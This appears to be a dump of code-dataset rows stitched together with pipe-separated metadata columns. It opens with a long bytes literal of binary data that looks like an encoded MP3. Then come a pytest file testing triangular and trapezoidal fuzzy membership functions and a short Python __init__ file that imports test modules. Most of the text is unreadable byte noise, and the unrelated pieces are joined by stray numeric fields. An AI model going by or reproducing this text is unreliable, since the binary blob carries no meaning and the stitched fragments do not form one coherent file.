\x8f\xc7N\xa0\xa8&\x88\x10d(e&\x05\x0e\xb0\xbb\xe0\x9b\xd4\xbdM\xb8A\x02|W/\x93\x83-\n-w\xedj=\x95d\xe1y\xbf*\xe1:\xaf\xfd\xee=\xce\x02\x85A\xc3\xefT?j\xd4\xe0~\x9d\xe8z\xa8g\x87Yh\x9aV\xb8\x0b\x93Q\xf2L$\xf2g\x1b\x98\xcf\x17\x1e\xe8,\xf7\x9c\x8c\x81\x9a\xd5\xc3\x83Mjg\xfa\xdc\xa3CB\x11\xfe{\x94\xc2D\x12\xba/\xff\xf3d\xc4\x9f\x1c\x03f\xcc\x00\x10S\x88\xd8\xfd\n\xe4e\xff\xa6\xdc\xde\xabK\xcd\xd2\xb4cY?@\xc8\xd0H\x0632\xca\r\xac\\\xcfR\xe6\xf5/\xbe\x8f\x99\xfb\xa9\x143\xa4\x9f\xd5\xf7C(\xd6\xd6\xe7-\xa5\xac*\xa9\xb2\n\nZ/EDa\x87z\x88[\x1b\x84\x17\x7f\xeb\xc9A\xa76\x9c"\xef\xfd\xa2k\x80\x90\xa7:#\xc6\x10\x0b\xb4\xdd]\xa3\xe4\xc3\xba\x1e\xd1\x99\xca]\x17\x8ed\xa2"\xa2\x11\xa4\xf7\x17\x1e`\x90\xb8\x8a*\x1d\n\xd7fm+\xd0sJ\xef\xd3\xff\xed\xe8\xff\xf3d\xc4\xb2\x1a\xab\x82\xe3\x14\t\x84\x18o*Y\r\xffK\x98H\xdb\x94\x85c>g\xed_\xfe\xdf\xffN\xed\xaa\'\xff\xca\xbf+,\xd3:\xe5\x0e\xba\xf5yB\x99:\x17\xf15\xb4\x13\x83\xa5\x87fE\x1c\x86\xef~\xec\xa4\t\x04\xc04\x07b0B\x04\x86\x88\x01\x99RM\xaa<>\xb0X,\xeda\xa1\x08\xef\'X\x1f\x1aU\x06\xa43\x15\xf97q&\xf7\xe0\xc5\x9aS\x03v\x06\x00~P\x83a\x82\xabd&\x80\xfeD\x98H\xf6T\x7fU}\xff\xfeg\xfd?\xf5o\xfc\xd47\xed\xff\xf3d\xc4\xca\x1c;\xc6\xdf\x1e\xc1\x8aYB\xb7\xf2\xdb\xaf\xffn\x8e\xe8\xdf\xff\xc8\xfb\xfd\xba\x8c\xe0$\x07L\xd9\xc8\x15{\x8d\xd5@\x8aY\xa6\x0c.7-\xe534 \x02O\xf5\x01\x91\x17\xc5\x00\x87\x00l\x85\x9e@\xadm\x99\xdb\xf7\xfe\x1b\x11\x80\x91Y\xff\xac\xb7i)%\r%\xc2\xcfP\xaaK\xe1L\xf39a\x83\x7fa\xed\xef%\x9e|\xbdP<\x84$\xa0\xf1_\x00\x8e1\xf4\x12.\xafqMp\xa2\xdf0lZ\xe6D\t\xff\x9fUn\xa2\x1b\x06\xa9\xca]J\xed\xfdX\xd4\xf5\xff\xf3d\xc4\xdc\x1c\x8b\xbe\xc7\x16\xd3\x04\x88/\xf9\x8c\x96\xaa\x9f\xf4+\x99\xcc\xf4\x7f\xff\xca\xacW\x89\xff\r\x9d\xb6I\xec~\xc1\xc4\x94<a\xe5\x00*TI%5C\x8a3\x10\xd18\x01U*D\x97\xd5\x0f\x8c\xe9`\xe1\xd2\x9a\xeeK\xb0\xcb\x9ca\x83\xa5EYV\x85T]d\xd0\xe5B\x95\x97\x96\xea\xa8P\xeb;\xff\x92(ziXSR\xd5\xc1\x10\x02\x00@\xc9S\xdc*F%\xfc,\x16o=\x1dp\xaa\xd8\x08\x97haDz\x8d\x96\xc4\xa1\xa0hEP4{\xf2>\xa7\xd60\xff\xf3d\xc4\xec!\xa3F\xaen\xd2\xc5\x14\xf5\x02^V\x06\x7f\xd1w\xfa\xc3]O\xad\xc1\xdeZBW\xd40\x07\xd5Yl\xa8\xe2\xaf\x8d\xedM\x86L\x00\x0bF\xa5*\xdc\xd7\x1fhzB\xd8\x96\x84\x0b/\x96\xdc\xd5X\x86\x1d\xa5\xafg4H\xf2\x0e\x9d\xfd\x16\x1f&\xe1\xb4Z\xfb9\x10p\x80\xde`\xe2\xabBa)\xa1(\x92\xd7\xcar\'\x0e\xff\xef\xf6\xd5s\xf1\xaas\xf7|\xff\xb6\xb52Jd\x15\xe5\x05\xd2c\xbfP\xe1\x00 \xe3\xe5\xc7\xde\'\x0f\x85\xd4\x18"\xb6(\x81\x8e\xb8\xa7\xff\xf3d\xc4\xe8\x1d\xf9\x8e\x95\xa6\xd2D\xbc\x16#\xe8\xdc\xf7\x7f\xb5>\xdfmmT\xa3\x99\xdc\xdcF!\x10\x88Fc!\x9c\xf4\xa6\x06o\x0c\xcd\xa8\xa1\x03G\x07P\xeaX\xd3]l\x15\xc4\xa6\xd7\x0bz\xa2\x10\xc4\tB\xd2a\xa5\xd5\xa0\xf8E\xc0fX4I\xb8T\x0e\x83\x8c\xba\x97\x15b\xa2>\xd5P\xd4d\x80#\x04\xb8\\\x07\xe31\x94u\x9b\xa5\xea\x15\xae\x90YvW\x818\x05\x82\xe4\x06@\x82#\r\x06\xee\xa0\\<p\x8f\x9c^!n,\x11 \x10E\x82P\xd6\xf3\x0f~.\xff\xf3d\xc4\xf3\x1ei\xbah5Y0\x00\xc7;\x94O\xfcFA48\x0fDb\x8c\x96::\xccL\xc2\xd3\xec\xbfUBw\x0e\xd8\xd6\xf5\xbaMm\xd0\xbf\xa3\xcb\x01\xde^\xdd<W\xa1\xa4\xedmP\xd5\x1654\xf2l\xdd\xfb:\xa3\xe3\x17\xb7\xd67\x7f\x9f\xffosC\xe3\xb9\xbdg\xa5\xb3\xb78\x11 \x1c\x9b\x82\xe7\x0e\xfb\xa6?\xf8\xc6>\x7f\xff\xff\xff\xff\xff\xff\xff\xf4!\xa9\x92\xf4Vf\x1d\xa2<\x96<\x93?e\x9e\x8f!\xe3u\xce\xf5\x00\x01B\x9c\x00z\xd4\xaa\x89\x96\xabl\xff\xf3d\xc4\xfc=\xcb\xfa\xba_\x98x\x03\x00T\x12!K\x96\x97\x9b\xd6is\r1\x90\x80>H\xd0\x10A\xb5\x18[5T\xb7*\xc7]\xbbcR6\x87$\\x\xf9o\xb0\x12\x87p\xed\x81F\xc3\xc0\xf0;\x0b\x138dN@\xfa\xa6kh\x12J\x0eS\xd9\'N^\x93\xe5\x07\x93\x87r\xafy\xfe\xff\xfc\xfbsc\xa3\xd1\xb9\x92)\x1f7?D\x84\xa9=\x87\xe0\xd1\x93\xc3\x18n\xab\xab\xff\xe6\xca\xd7\x97\xeel,\xefr\x955\x7f\xff\xff\xff\xff\xff\xd7\xf7_\xfb\xe5\xdf\xf3.\xe4\xfb\xff\xf3d\xc4\x87*D:\xbeG\xc9X\x009el\x976\x0e\xde\xed\xae\x9f\x8ba\xd7\x9d\'#/i9\xff\xc3\x93Ycs\xef\xd06FK87\xf3z.\x08\x94\xf1@6\xa6\xcf7A\x0e\xa7-\xe7Hn\xbd\xcbM!\x967\xb9\\\xa9<\xbc\xf6\x0e\xd6D\xd3\xa1\x88\xef.\x1f|Q\xa6\xbd\r{)\x10\xcf\x85(\x01\xd4k\xee\xe7\x10\xc2C\xc5\x14\x04\x82dJ\x8a0Z\xbc\xecqB\x8e\xffc\xe6"\xb6Z\xb2\xa1\xda\x18\xa0\xf3;\x95\x91V\xad\xeb1T\xa5}\x0b\xe5\xfe\x9f\xfe\xff\xf3d\xc4a \x13\xd2\xc2L\xc9\x84\x91\xd8C\xb3\x1d\xcfo\xa7\xb6\x95UdT\xb3\xa5;\x95\xfe\x8db\xa3\xb4\'\x03\xb8\x11\x1687\xf3\xff\t* \x90rb8\xc2\xcb\xb3\xca\x1e\x0b\x81\x18EA\xa2\xe9\x19y\xebF\xb6: c\x00\xa1\xc0\x8d\xbc\xa35\xf6\xc5\xec\xeaU\x1a\x0b\x7f\xec\xd16\xffge\xb7\x18\xa0\x87\xa9\xd3\xd0\xddn\xe7\xff\x15\xfeH\x11\x8a\xdek&\xdc\x0c\xae\x84+\xa9i(\xf1!\x82\x1f\xa7.tF\xe6\xe0\xb3\xd8*\x89\x19QE7\xb0\x16\x85\xb7\x06\x93\x89\xa6\xff\xf3d\xc4c%\\\x06\xae\xe4\xdaD\xdc\xa5-I\xe5L\xab\xca\x94R\xb8\xcf1\xbf\xf9O\xdd:\xb3\xcf\x04\xb7\xa1u\xfdr!\x8cC\x9dD\xbe\xaa\xd9\x18\xe9\xd3V\xff\xe4[\t\x10CX\xca8\t`1\x1du@\x10\x84\x9a\xab\x98\x0fV\xdeyR\xdc\x82O\xa9&,\xf5\x9a\xb4c\xdb\x059\x86\xd1\xe9\x12c\x1f\xac7\x94+\x90\x1a\xa3\x01\xde-:\xf9\x84t\xc0\xbc\x91j\xdf\xafH\x07"\xcf\xf9[c\x93\xc8\x06y\xd4x\xe9$\x00\xa7\xa9[\x90\xa5\xed2#\n\x89,\xa08\xa9\xff\xf3d\xc4P\x1f\xfc\x06\xc7\x16\xc3\xca\x94\':.\xa7\xbf)[G\xd5\xbf\xf5;\x97!n\x84!H\x8d\xff\xfe\xfd\xf58\x98\xac]^c>\xff\xfb\xf2\x0b\x89\x1b\x93\xf9u\xff\xff\xbfTW:;G\xd2\x90P\x96x\xaal\x0fi,\x0f\x94;\xf2\x82t\xaaY\x1d\x8b\xac\xfc\x88K\x15\xee\x8a?\xedz\xfd-\x8a\x07\xa6\xc3\xb8\x11\x11hy\xa0\xe3^!\xb8\xcb\xd3!\xbd\xee=2\xea\xbeY\xb7D\xb8A\xac\xac\x865?\xff\xe6gG\xe13\x12r\xca\xac\xff\xff\xff\xff\xa1\x08\x949\xd9\xff\xf3d\xc4S\x1c\xa3\xfa\xd3\x16\xc2\n\xbd\x1d\xceuD\xff\xfe\xfe\xcf\xa9\xca\xe3\x12\x8cE\xdf\xfet3\xdc\xa4\xff\xf5z\xdf\xff\xff\xdc\xe8\xa2i8\xdaPp\x96\x99\x98H\x18w-\xfd\xdc\xba\xd5\x11\x1dw+kg\x82\x00\x86\x912\xf9\xa6\xc4\xe2\xd0\xf2V\xf4\x02\x01C\x94bP\xdd\xe2\xd4\xfd\x8f\xc6\xda\xfdw\x08\x82\xdd\xe7\x08\xb7y\xf1/\t\x93h\x88D\x15\xd9j\xc3\x05\x160\xde\xae\x8d\xdbj.\xec\xa8B7\xff\xff\xff\xffd:\x11L\xc2\xcaWv\x8fn\x95\x9f\x0b<\xd2T\xae\xff\xf3d\xc4c\x1b\xc2V\xdb\x16\xc0\xc5\x10\xb5Z=6\xfb]\xff\x8a\x8f\x06\xc8\x17B\x01\xe5\xd5\x90\x02\x11)\xdf\xc7\xab\xe1\x12\xab\xb8LLDe;\x9c\xce\x81r\x15\x8a! X@\xb6\x96\x1ev\xbbFa\xaf\xed\xda\x0e\x02\xc8\xf3L\xd5\xadU\x110\xcd\xdcX\x0c\xa9}z\xc7&\x9a\xdep\x0c\xec\x94\x0c\x03|\x83Nr\xd8\xa9u\x1e\xfa\xd7\x85\x89\x1b\xb7\xff\xfc\x95\xa4%\n\x03\xb2\x12\xfe\xa95\xa1\xaet%\xd9\xe8\x1a\xd4z\xff\xff\tN\x9cAw\xd5`\x01Z\x90\xc4\x12\xad\x85<\xff\xf3d\xc4w\x1bI6\xd6v\xc3\x0c\xe4\xa0\x96\x90\xf5y\x88\r,\xa3Y\xdfd\x03KE\x86\xd8\xb7\x05\xa7\xdf3v\xdb\xec+\xf4!8\xaf#\x99\xec\xe4\xb4\xb3\xc8o\xa5\x12\xde\xc2Y\xf1\xc3\xd7j\xacz\xf1\xa7\xee\x9eQW\x9a]\xff3?\xdd\x1f\xecdJ:\x7f\xe9|\xf7\xd9?\xdb\xef\xd3\xa9:\xb6~\xa9\xff\xa5\x1du\xff\xff\xff\x97{\xdb\xd1V\xad##7\xf6\xff\xff.V\xc1\xd7eU\xd1\x05\xa8\x00\xa4I+\xd2\x1a@\x12n\x1eQ\xf6qk+\xe3\x19\x1d\x95\xd9\xaeeG\xff\xf3d\xc4\x8c\x1cT"\xce.\xc1\x84\xf5\xb2\xcb=\xe5E\xb3]\x84\x03\xbb\x1e=\x1b\xef\x95\'\x95\xcf\xa3{\xfb\xeea\x93[O\x9e3{\xdd)\xa2Sw\xbf\xf9\x00\xbes\xac\xef \x9b\x80D\x02&\xac\xacY\x13WzV\x8e\xb7Oo\xff\xdbu;{\xbfU_\xd5\x91#\x8a\x13[\xee_\xff\xe9\xf6\xb7\xb3\x8e\xf5(\xa9\xb3@\xd208 0\xb2@W\xb7guvV\x89V\xe5\x10I\x14\x1f\x05@\xc3\xd8\x05\xfeD\x19\xae\xbe\x91\x866\xd1\xacV\xcb\x85\x17\xe3+n\xc6\xc9\x87\xb6\xff\xf3d\xc4\x9d\x1b\xea\xc6\xe1\x9ey\x8a\xf6\xc7\x9c\x9f7\x90^[\x01\x9e\xa8\x07\xb9\x9a\xb9\xd1\x11\x04Px(\t\'xp\xfagm\xe9\xf0PC\x16@G3\xd9\xd0\xe7[\xf9\x14\x92\xaa\xbd\x9e\x87\x9bX\x80\x8d\x8c\xff\xfdWn\x8f\xe3Sj\x12\xa2K=(\xb4U\x854L\x003\xd6&Z\xa7g\xa5\x06\xe5P\xb8F\x83\x1e\x99H\xf6K\x8d\neSb\x9c~{,\x05\x0bQ\xb0N\x8f\x96"\xd2\xba\x9b=\xf4\xc7\x04 (\x12\x98 \xa4p\xec\xf0E\x83E(!!\x80@PQ\xff\xf3d\xc4\xb0\x1b\x89\x9a\xde\xfe\xc1\x86\xec\x08\xa6\x9f\xd5\xa5W\xb4\xa8\x1c!\x08[\x11\xe9\xff\xff\x9c\xbe\xbb}-3\xe5*X\xdb\xad\x7f\xff\xd9\x11Xw\x02\x83D\x7f\xff\xff\xa1w0\xabC*A\xf0\x18\xf5\x03\x85U@J\x02\x80\x03\x9e\xbb-U\xe0\x14\x08v[\x00Mz\xae\x0cuf\xcd\x01k\x12\xae\xa5?_VRV\x84\xe3+D\x98\x03\x16\xa8<\x13\xc0\xbb\\}\xcb6\x1d\xa6z\xcc\x0bJ\xc3\x7f\xfc\xcf\xd3%\x9bE[J\xd9_\xfa<\xb2U\x0e\xacu,\xe6\x9dh-s\xff\xf3d\xc4\xc4\x1d\x12\xe2\xd6\x1e\xc3\x04\xa8|4*1\xc3Lz\xdf"\\:*\xcb\xbdls\x85\xc1\xd0Uh\xff\xff\xee\xbf\xc9I&\xb0\xbb\xc1\xd0(h\xa2\x08*\xc2g\n\xf28\xfb\x93\xf2\xa0\xd3\x9b\xc9Do\xc4\xc7O)\xc6i\x04\xac\x96\xc3\xa7\x16\xee\xa5\x91l\xa9\xe5\xdd\x06bz\xecA\x85\x1e#\xcc!\xd7"\xe9D\x9f\x7f\xfdX\xccl\x8f\x02\x12\xf3\x84\x7f\x0b\xac\xc4\xdaG\xb0X\xe1\xa2\x81\xde\xac\x85\xe4D\xfdGj\x82\x03\xc8S\x14]\xbf\xff\x92u6\xad\xff\xebM\xcc\xf5\xff\xf3d\xc4\xd2\x1c\xc9\x96\xd2>z\x0c\xf8 \x8d\x8e(l\x19V\x0f\xdd\xff\xff\xfba\x00\x80,\x07\x18\xa2\xa9{\xaa\x00\xe6\x9aeR\x0c8\xb5\x81k\x12\x8a\x02\xfaCL,\x03\xcf\x0c\x08\x80\x16\xdb)\x84\x95y\xab\xb3\x08T\x18)D\xb2\xc6*f\xdbD*!\x9d\xaba\xd5\xe06\x89\x8cT\xd9r\xe8\xe0>\xf9\xb3OL\xcc\xcc\x1f\xfb]\xb3\xa8~\xfa\xe3\x96Z\xbf\xcdX\x11\xd0\xaa\x95g\x0c\xe5h1=w\xf7\xfe\x8c)\xeaz\x8c\x18\xed\xff\xfer\xb0\x10\x92\x96\xbf\xfa\xf7\xbc\xadf\xff\xf3d\xc4\xe1\x1c\xd2\xee\xd9v\xc0\xca\xfa\x06\x85W+\xbfv2\xc2\x8e\xea\xf9?\xee\xdf\xff\xff\xff\xab\xd4\xceR\xf3)\x90(\x98\xa0\xd0\xad\x00\x90yS\x91iAy\xced\xd1Na\xe3\x08XS\x06B\xfb\x89\x0c\xb1T\xb60\x10@\xe0hu\xdaJ\xe9$\xa9\xf3\x7f\x9e":Jp\x95T\x8b\xbb\xcc\x95dP\x0f\x89d\x871\x16Ks\xdb\x90[IS}%C\x88\x8a\x89\x04@ 2\xceT{\x08\x8a\xd5\x8cQUiKQR\xf5{5\xaf\xffDz\x95\x05UC\xeaQ\xde\t\xff\xf3d\xc4\xf0"|6\xb0\x16\xcb\x04\xd8\xca\x98\x88\\=\xbf_`*%\x19\xe0bh\xa8\xc1\xac\xef\xff\xf1(dB\x1d\x05mX\x94\x90\x95\x04V\xcc\x1e\x99\xc0 I\xf2\x07\x85\x02\xc9I\xa2\xcaCL\xc4\xf2%\x02\t\x1b\x17\x83\xb64\x06\xab$R\xc5\x9d\xc6~\x97[\xc3u2x\x0c\x8b/b2@P*@:]wL\x98_\xf84\xdb\x08w\xad\x00\xa1\xa5w\x18}\x95\x9e\xcbS\x11QmJ\xbe\x83\x94hH\xac\xf79X\xef\xec\xacN\x8f\xf4\'\xeaQ\x92\xa8\xf84l\t\xff\xf3d\xc4\xe9 \xf2\x12\x98V\xdaJ\xd0\xde\x1bS\xc5(\xfd\x92\x14D\xb3}\x81\x12%\x01\xd9\xc3\xe1\xfa\xfd\x15(\xa8\xd7\x91i\x8a\x94\xd1H\xc7S\xa10\x01f2*\xe9\x0eb\x12\xe1\xae[ \xd00\xc0L\xc2\xd0\x14%\xb9C\x00\xc2a\xca\xaf\x96\x11\x02,\xd4L\xaaI\xf4\xff\x87\xb3\xb7=z\x85\x9e\xb1\t\x92\xb7AY\xa1\x0b\x89M\x95/\xec\x96^\xa5\xcb4\x9cmV\x0b;\x8fh\x83\x1a\xa4\x17 p\xd5i\\s\xe4!\n\x83\x87\x07\xba\xbc\x8f\xee\xe8\x1f!\x1c\x19\xbf\xff\x9d\xff\xf3d\xc4\xe8!r\x12|\xb2\xe2J\xd4\xd0\\P\x8d!\xed\xf4DD\x1d\xb3)\xd3\xc5gQq,\xd1rAW\x84o{\x88\xe8\xb7\x9a\xa9\xe1\xd1g\x83\x8b\xc7J\xa3R\x00c@\x01\xb7~\xa7\xfd\x90\x18\x19\xe9\xee\xbb\x06\x05\xa3a\xa6?\x0b\x07H\xddr \xd9\n\xa9@r\xcc\x96LK%\x81\x95\xe06{0\xb1\xfet\x92\x07\x11\xa6o\x05h\xabd\x818\xc3\xff\xf5\x96_\xd5\xb0\xc1\xe89d\xfc%\'A\xfc\x88\xd7\x16\x0f\x0e\x15\xba\x15\xff\xa9\x91R9Z\xaf\xe6\xedQ2\xb9\xff\xf3d\xc4\xe5"*Z\x80\\\xe2J\xec\x08i\xda"\xa7\xee\x88\xb6g}^\xbd\x7f\xf6\xff\xf4Uo\xf8\xa0\xda\xb0\xb0\x80\x18\xe1W\xfa\xfd>\xb7$`\xa8\xa8\x8d\x88\xedU\x00\x05\x1an;\xb6\xbe\xcd3*\x11\x11>\x03\x17\xac\x18hF\xc0\x96\x92~\x11.\x89<\xdc\xaa\xcb\xb0\xa6lYp\x8bq\x94`Q\x98\x15\x10\x00/\x80\x9a\xb5\xbf\xee\x94\x10K\x00\xc8\xe4yW\xd4\x06%^\x87\xe8\xdbHcp\x9f\xfa\x94\x8f\xf2\xe9\xfe\xa0\x88\x10B\xbb\xa2\xb0A\xc6V\x03 \xa6O\xa8\xd2\xde\xff\xf3d\xc4\xdf \xab.\x89\xbc\xdaJ\xd0\xa73\xf6\xfc\xb1v\x05\xe6\x80Lg\xb3\xe5m<Et0\xd9\xd3\x81&\x85\x83%\x95\x1aJ\'\t\t\xa6\r\x10|\xdb\xe6\x140\xb7\x86\xbf\x00\xc2\xefP\x00m5\xe8\x95\xb9B\xbe\xab5z\xa4\x15\x14\x0b\x90\xb1v@\x9a\xa4\xda\xb18\xe2$\xd7\xb2f\x8bM<\xebo\xf7\x90xY\x96\xdc)\xc6\x1c\xeaCp\xca(c+\xccr\xb1\xcd\xca\xc66o\x9b\xf2\xdc\xdf\xd5\xbf\xa1\x91U\x89VS\x1e\x83\xa3)\xc7\xa0\xa2\xb6\x8dj\xb5vG\xbbj\xff\xf3d\xc4\xdf\x1dR&\x9e^\xd0\xc4\xd0\xdf\xe5\xdf\xfe\xca\x88\xaa\x87\xf9\x8d\xff\x97\xff\xd0\x15\x7fWG\x12\x95\x90\x17M\xf9K\x94\xca\x08\x11\xa4\xa6\x91fL9$\x8eI\x1f\x0c\x0f\x04L.\x16\x06\x8b\xb3\x01A`\xb8\x1a`8\x10\x18\t\xc2R*Q\x17\x86\x9f\xd8\xa3\xa3\x0eg\xf1\xa4K\x98\xd7c\n&,\xb1\xc3I\xcfUq\xec\xaf\xf2w%\xb5\x06*\x84\xc5\x06R\xb1\x9f\xd1E"\x89B\x86\xa5\xba!\x94\x13\xd1\xba~\x95b\xe8mZ\x99:\xdc\xaa[#\xac\xb8UV\xc1\x12\xa6\xff\xf3d\xc4\xec \xdb\xdet\x14\xdaD\xb5\xab\xafq\xd5\xff\xf5\x0f\x1aw#\xf5\x01d~K\xd6\x9d\xf7\x91%LAMEU\x0c\x88e\x8e\xf9\xba\xa2\xc5N\x85\xcc\x14z\xc6i!\x00\x91\x17\x89\x93:2\x88\x84\xba\xc4~X\x1d\x90{\x06\xa1EF\x9a\xc3\xcc\x81q\x11\x18\xa8},\x95\xfc\xa6\x95\x81z$AU,\xd2\x10b%&\xa7\n\xbb\xb4\x1b?S\x1eR\xc9#\xf2\xfdQ\xfe\xbc\xa8\xdf[8\'\x18\xf1Q)$\x99t\xcdL@g(9\x92]n\x13\xfaV\xb6%\xc5^3\xff\xf3d\xc4\xeb\x1e\xfaNd:\xeaD\xd0\xeb!\xd1\xfb\xa4\xbd*\t\x8c\x05\xc1\xc0\x03\x8eGcD\xa1F\xcegA\xc8\xc9\x97\xd0\x14\x04Fi.,f\x95h\x96\xc4\r\x1d\tG\xc6J\x999$\x9f%\x04GZ]\xd6G\x11\x08\x1b\x0e\xde\xbf\xff\xfej\x02\x04(0\x10\xaaQ\x95\x7fQ1\x97\xaa\xbcc\xa5\x1bUU\xff\xfa\xab\xfe\xaa\xab\xfe\xab\xfe\xbf\xaa\xaa\xaf\xc0 #\xe3*\xacoU\xd4\x99\xbfe\xfd\x99\x9b\xd80\xa7\xff,\x1d\xeb\r\tOB@\xd1g\x89y\x15\x82\xbe\x15<\xff\xf3d\xc4\xed\x1c\x1a\x0eh|\xc2\x04\xb8%w\xa8\xf05<Y`\xab\x81\xaa\x12b\x84\xdcO\xab\x18\xd8\x18\xd8\x1eOXj\xc1AG\xfe\xca\x84w\xff%\x8eFL\xa0\xa5\x9c\xb2\xa15\xccQ!\xa3D\x0e\xceS\x08\x8c!\xd9\xd9\xca$\x11\x08\x85\t\x90\xec\xa84j\x1c\x8f\xff\xd1~\xa9f2\xa2\xa2\xa2\xab;9L"1\x0e\xde\xe5\x11\x12\x1aEA\x10\x90D"\x10\x13"\xa0\x88PX\xd1\x03\xe6(\xc1\xaaGo\xff\xb9\x95\x17B\x8c\x18r;\x7f\xe8\xa8\x8b\x98\xa2B!B\x07g\xff\xf3d\xc4\xff!\xa2\x9a8(\xcb\x06\xacgc\x08\x88\x8c9\x1d\x9fTTS\x14Hh\xd1\x01\xdfUt\xfd4\xd5LAME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\xff\xf3d\xc4\xfb#K\xf9\x98\x00x\xca}UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU'
| 10,518.8
| 26,659
| 0.740332
| 11,899
| 52,594
| 3.266577
| 0.128498
| 0.020685
| 0.023669
| 0.009262
| 0.991175
| 0.991175
| 0.989915
| 0.985618
| 0.983817
| 0.983817
| 0
| 0.227282
| 0.00173
| 52,594
| 4
| 26,660
| 13,148.5
| 0.513037
| 0.000076
| 0
| 0
| 0
| 22
| 0.654997
| 0.65243
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 13
|
eb7843b7d58da09b07f7284fb479a174f6834b66
| 2,810
|
py
|
Python
|
pyoml/fuzzy/tests/test_membership.py
|
murilocamargos/pyefs
|
1100fa970c9dfbc1b348168c8a4fbf2c8c48e435
|
[
"MIT"
] | null | null | null |
pyoml/fuzzy/tests/test_membership.py
|
murilocamargos/pyefs
|
1100fa970c9dfbc1b348168c8a4fbf2c8c48e435
|
[
"MIT"
] | null | null | null |
pyoml/fuzzy/tests/test_membership.py
|
murilocamargos/pyefs
|
1100fa970c9dfbc1b348168c8a4fbf2c8c48e435
|
[
"MIT"
] | null | null | null |
# Authors: Murilo Camargos <murilo.camargosf@gmail.com>
# License: MIT
import pytest
import numpy as np
from pyoml.fuzzy.membership import TriMF, TrapMF
def test_trimf_set_abc_params():
# Test getting/setting the parameters of the Triangular MF
with pytest.raises(ValueError) as err:
_ = TriMF(2, 1, 0)
assert str(err.value) == 'The parameters must be specified such that'\
' a <= b <= c.'
# Ordered
mf = TriMF(0, 1, 2)
assert mf.get_params() == (0, 1, 2)
def test_trimf_set_non_numeric_abc_params():
# Test setting a non numeric value for the MF params
with pytest.raises(TypeError) as err:
_ = TriMF('0', 1, 2)
assert str(err.value) == 'All parameters must be numeric.'
def test_trimf_get_membership_degree():
# Test the membership degrees computation for the Triangular MF
mf = TriMF(0, 1, 2)
assert mf.get_degree(-0.5) == 0
assert mf.get_degree(0) == 0
assert mf.get_degree(0.5) == 0.5
assert mf.get_degree(1) == 1
assert mf.get_degree(1.5) == 0.5
assert mf.get_degree(2) == 0
assert mf.get_degree(2.5) == 0
def test_trimf_get_membership_degree_np_array():
# Test the membership degrees computation for the Trapezoidal MF
mf = TriMF(0, 1, 2)
ipt = np.array([-0.5, 0, 0.5, 1, 1.5, 2, 2.5])
out = np.array([0, 0, 0.5, 1, 0.5, 0, 0])
assert (mf.get_degree(ipt) == out).all()
def test_trapmf_set_abcd_params():
# Test getting/setting the parameters of the Triangular MF
with pytest.raises(ValueError) as err:
_ = TrapMF(2, 1, 0, 1)
assert str(err.value) == 'The parameters must be specified such that'\
' a <= b <= c <= d.'
# Ordered
mf = TrapMF(0, 1, 2, 3)
assert mf.get_params() == (0, 1, 2, 3)
def test_trapmf_set_non_numeric_abcd_params():
# Test setting a non numeric value for the MF params
with pytest.raises(TypeError) as err:
_ = TrapMF('0', 1, 2, 3)
assert str(err.value) == 'All parameters must be numeric.'
def test_trapmf_get_membership_degree():
# Test the membership degrees computation for the Trapezoidal MF
mf = TrapMF(0, 1, 2, 3)
assert mf.get_degree(-0.5) == 0
assert mf.get_degree(0) == 0
assert mf.get_degree(0.5) == 0.5
assert mf.get_degree(1) == 1
assert mf.get_degree(1.5) == 1
assert mf.get_degree(2) == 1
assert mf.get_degree(2.5) == 0.5
assert mf.get_degree(3) == 0
assert mf.get_degree(3.5) == 0
def test_trapmf_get_membership_degree_np_array():
# Test the membership degrees computation for the Trapezoidal MF
mf = TrapMF(0, 1, 2, 3)
ipt = np.array([-0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5])
out = np.array([0, 0, 0.5, 1, 1, 1, 0.5, 0, 0])
assert (mf.get_degree(ipt) == out).all()
| 31.931818
| 74
| 0.630249
| 471
| 2,810
| 3.624204
| 0.142251
| 0.093732
| 0.128881
| 0.179262
| 0.844171
| 0.826011
| 0.781488
| 0.725835
| 0.707674
| 0.676626
| 0
| 0.061596
| 0.237367
| 2,810
| 87
| 75
| 32.298851
| 0.734951
| 0.195374
| 0
| 0.436364
| 0
| 0
| 0.079626
| 0
| 0
| 0
| 0
| 0
| 0.436364
| 1
| 0.145455
| false
| 0
| 0.054545
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
eb801d047b4ce210c956b9bc4cae8964ffceae1e
| 181
|
py
|
Python
|
tests/engine/__init__.py
|
gph03n1x/Hurricane
|
629cc6838242a07f004773f243d3c4ce386ea3d8
|
[
"MIT"
] | 1
|
2018-09-25T11:13:54.000Z
|
2018-09-25T11:13:54.000Z
|
tests/engine/__init__.py
|
gph03n1x/Hurricane
|
629cc6838242a07f004773f243d3c4ce386ea3d8
|
[
"MIT"
] | null | null | null |
tests/engine/__init__.py
|
gph03n1x/Hurricane
|
629cc6838242a07f004773f243d3c4ce386ea3d8
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import tests.engine.test_filters
import tests.engine.test_utils
import tests.engine.test_nltk_wrappers
import tests.engine.test_storage
| 30.166667
| 38
| 0.801105
| 28
| 181
| 5
| 0.571429
| 0.314286
| 0.485714
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005988
| 0.077348
| 181
| 6
| 39
| 30.166667
| 0.832335
| 0.232044
| 0
| 0
| 0
| 0
| 0
| 0
